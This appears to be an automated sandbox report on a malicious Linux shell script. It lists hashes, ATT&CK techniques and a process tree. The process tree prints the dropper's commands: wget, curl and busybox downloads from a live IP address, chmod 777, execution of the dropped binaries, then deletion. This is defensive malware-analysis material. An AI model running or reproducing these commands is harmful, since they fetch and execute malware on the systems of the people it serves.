7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277

Analysis

max time kernel
7s
max time network
22s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:39

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General

Target
7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
Size 10KB
Sample241122-c5q8dssph1
SHA256 7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277
MD5 0a7d8be88ccc96d0d1a91c27f63e3a6c
SHA1 ba922eff12ebe57a6064f8773d16d9a51cde88f1
SHA512 3279e6ff5af91dc2a1ec24a55dcfa8fb40b686359dcc57febf40fa24673159ee6946521e9e8212d9ea533e160e94041cc66c442130019c5d3dc537cfb83e48b3
SSDEEP 192:my+UaEM28EdM7z3479lW7LvcN1vL+Us+U0+UEdUTUHUFCOv9lMLv3BfBx7amn78V:nxMQiCSyW5dCyh/xCeyW5dCyY
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod
678	chmod
694	chmod
715	chmod
741	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	672	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	679	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	695	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	717	jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	743	UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

Checks CPU configuration 1 TTPs 5 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL	curl
File opened for modification	/tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	curl

/tmp/7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
/tmp/7b26e1067afb6e7ff3edc8cc34bd25819a0439cedcfefe6e8a9a28cb62b56277.sh
1⤵
PID:641
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:643
- /usr/bin/wget
  wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:645
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:659
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:666
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:672
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:673
- /usr/bin/wget
  wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:677
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:690
- /bin/chmod
  chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Executes dropped EXE
  PID:695
- /bin/rm
  rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:696
- /usr/bin/wget
  wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:710
- /bin/chmod
  chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  - Executes dropped EXE
  PID:717
- /bin/rm
  rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:718
- /usr/bin/wget
  wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:738
- /bin/chmod
  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.125.191/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
  2⤵
  PID:746

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Path /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads